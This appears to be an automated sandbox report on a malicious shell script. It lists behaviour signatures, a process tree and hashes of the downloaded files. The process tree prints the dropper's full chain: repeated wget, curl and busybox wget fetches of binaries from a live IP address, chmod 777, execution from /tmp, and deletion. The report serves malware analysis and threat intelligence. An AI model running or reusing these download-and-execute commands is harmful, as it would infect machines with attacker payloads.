Analysis

  • max time kernel
    16s
  • max time network
    17s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    08/11/2024, 03:49

General

  • Target
    cc97010efb3b0f4c4d990c396c28ecd5320f4c8c64c57eb78fbaac0848ee65e1.sh
  • Size 10KB
  • Sample241108-edre7avdpg
  • SHA256 cc97010efb3b0f4c4d990c396c28ecd5320f4c8c64c57eb78fbaac0848ee65e1
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Checks CPU configuration 1 TTPs 12 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 24 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/cc97010efb3b0f4c4d990c396c28ecd5320f4c8c64c57eb78fbaac0848ee65e1.sh
    /tmp/cc97010efb3b0f4c4d990c396c28ecd5320f4c8c64c57eb78fbaac0848ee65e1.sh
    1⤵
      PID:645
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:647
        • /usr/bin/wget
          wget http://216.126.231.240/bins/pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
          2⤵
            PID:650
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:667
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
            2⤵
              PID:674
            • /bin/chmod
              chmod 777 pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
              2⤵
              • File and Directory Permissions Modification
              PID:676
            • /tmp/pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
              ./pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
              2⤵
              • Executes dropped EXE
              PID:677
            • /bin/rm
              rm pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
              2⤵
                PID:679
              • /usr/bin/wget
                wget http://216.126.231.240/bins/LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
                2⤵
                  PID:680
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:681
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
                  2⤵
                    PID:687
                  • /bin/chmod
                    chmod 777 LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
                    2⤵
                    • File and Directory Permissions Modification
                    PID:693
                  • /tmp/LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
                    ./LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
                    2⤵
                    • Executes dropped EXE
                    PID:694
                  • /bin/rm
                    rm LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
                    2⤵
                      PID:697
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
                      2⤵
                      • System Network Configuration Discovery
                      PID:698
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:706
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
                      2⤵
                      • System Network Configuration Discovery
                      PID:713
                    • /bin/chmod
                      chmod 777 baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
                      2⤵
                      • File and Directory Permissions Modification
                      PID:721
                    • /tmp/baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
                      ./baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
                      2⤵
                      • Executes dropped EXE
                      • System Network Configuration Discovery
                      PID:722
                    • /bin/rm
                      rm baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
                      2⤵
                      • System Network Configuration Discovery
                      PID:725
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
                      2⤵
                        PID:726
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:735
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
                        2⤵
                          PID:741
                        • /bin/chmod
                          chmod 777 CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
                          2⤵
                          • File and Directory Permissions Modification
                          PID:742
                        • /tmp/CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
                          ./CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
                          2⤵
                          • Executes dropped EXE
                          PID:743
                        • /bin/rm
                          rm CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
                          2⤵
                            PID:745
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
                            2⤵
                              PID:746
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:747
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
                              2⤵
                                PID:756
                              • /bin/chmod
                                chmod 777 EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
                                2⤵
                                • File and Directory Permissions Modification
                                PID:762
                              • /tmp/EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
                                ./EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
                                2⤵
                                • Executes dropped EXE
                                PID:764
                              • /bin/rm
                                rm EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
                                2⤵
                                  PID:766
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
                                  2⤵
                                    PID:767
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:774
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
                                    2⤵
                                      PID:781
                                    • /bin/chmod
                                      chmod 777 KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:788
                                    • /tmp/KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
                                      ./KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
                                      2⤵
                                      • Executes dropped EXE
                                      PID:789
                                    • /bin/rm
                                      rm KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
                                      2⤵
                                        PID:791
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
                                        2⤵
                                          PID:792
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:793
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
                                          2⤵
                                            PID:794
                                          • /bin/chmod
                                            chmod 777 bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:795
                                          • /tmp/bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
                                            ./bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
                                            2⤵
                                            • Executes dropped EXE
                                            PID:796
                                          • /bin/rm
                                            rm bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
                                            2⤵
                                              PID:798
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
                                              2⤵
                                                PID:799
                                              • /usr/bin/curl
                                                curl -O http://216.126.231.240/bins/iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:800
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
                                                2⤵
                                                  PID:801
                                                • /bin/chmod
                                                  chmod 777 iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:802
                                                • /tmp/iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
                                                  ./iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:803
                                                • /bin/rm
                                                  rm iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
                                                  2⤵
                                                    PID:805
                                                  • /usr/bin/wget
                                                    wget http://216.126.231.240/bins/zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
                                                    2⤵
                                                      PID:806
                                                    • /usr/bin/curl
                                                      curl -O http://216.126.231.240/bins/zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:807
                                                    • /bin/busybox
                                                      /bin/busybox wget http://216.126.231.240/bins/zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
                                                      2⤵
                                                        PID:808
                                                      • /bin/chmod
                                                        chmod 777 zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:809
                                                      • /tmp/zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
                                                        ./zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:810
                                                      • /bin/rm
                                                        rm zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
                                                        2⤵
                                                          PID:811
                                                        • /usr/bin/wget
                                                          wget http://216.126.231.240/bins/9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
                                                          2⤵
                                                          • System Network Configuration Discovery
                                                          PID:812
                                                        • /usr/bin/curl
                                                          curl -O http://216.126.231.240/bins/9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
                                                          2⤵
                                                          • Checks CPU configuration
                                                          • Reads runtime system information
                                                          • System Network Configuration Discovery
                                                          • Writes file to tmp directory
                                                          PID:813
                                                        • /bin/busybox
                                                          /bin/busybox wget http://216.126.231.240/bins/9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
                                                          2⤵
                                                          • System Network Configuration Discovery
                                                          PID:814
                                                        • /bin/chmod
                                                          chmod 777 9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:815
                                                        • /tmp/9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
                                                          ./9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
                                                          2⤵
                                                          • Executes dropped EXE
                                                          • System Network Configuration Discovery
                                                          PID:816
                                                        • /bin/rm
                                                          rm 9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
                                                          2⤵
                                                          • System Network Configuration Discovery
                                                          PID:817
                                                        • /usr/bin/wget
                                                          wget http://216.126.231.240/bins/d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
                                                          2⤵
                                                            PID:818
                                                          • /usr/bin/curl
                                                            curl -O http://216.126.231.240/bins/d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:819
                                                          • /bin/busybox
                                                            /bin/busybox wget http://216.126.231.240/bins/d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
                                                            2⤵
                                                              PID:820
                                                            • /bin/chmod
                                                              chmod 777 d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:821
                                                            • /tmp/d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
                                                              ./d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:822
                                                            • /bin/rm
                                                              rm d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
                                                              2⤵
                                                                PID:823
                                                              • /usr/bin/wget
                                                                wget http://216.126.231.240/bins/3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
                                                                2⤵
                                                                  PID:824
                                                                • /usr/bin/curl
                                                                  curl -O http://216.126.231.240/bins/3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:825
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://216.126.231.240/bins/3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
                                                                  2⤵
                                                                    PID:826
                                                                  • /bin/chmod
                                                                    chmod 777 3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:827
                                                                  • /tmp/3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
                                                                    ./3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:828
                                                                  • /bin/rm
                                                                    rm 3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
                                                                    2⤵
                                                                      PID:829
                                                                    • /usr/bin/wget
                                                                      wget http://216.126.231.240/bins/vtSjLgjH8Grx4R1CNlUTfjoBRlxXuolrWS
                                                                      2⤵
                                                                        PID:830

                                                                    Network

                                                                          MITRE ATT&CK Enterprise v15

                                                                          Replay Monitor

                                                                          Loading Replay Monitor...

                                                                          Downloads

                                                                          LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA

                                                                          • Path /tmp/LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
                                                                          • Size 176B
                                                                          • SHA256 6de94db8afc535ef95ba6c6290317d20e50312c146186cb86a4210770c1a741e
                                                                          • MD5 SHA1 SHA512

                                                                          pJYFBN6KvRex18QQSOcQchBEnjusdRiutS

                                                                          • Path /tmp/pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
                                                                          • Size 114B
                                                                          • SHA256 2d1255033a3f5cde3fb430b15d84ad95c1d7d37b25132cd3dcca7c30963e9f12
                                                                          • MD5 SHA1 SHA512

                                                                          zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm

                                                                          • Path /tmp/zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
                                                                          • Size 153B
                                                                          • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                                                                          • MD5 SHA1 SHA512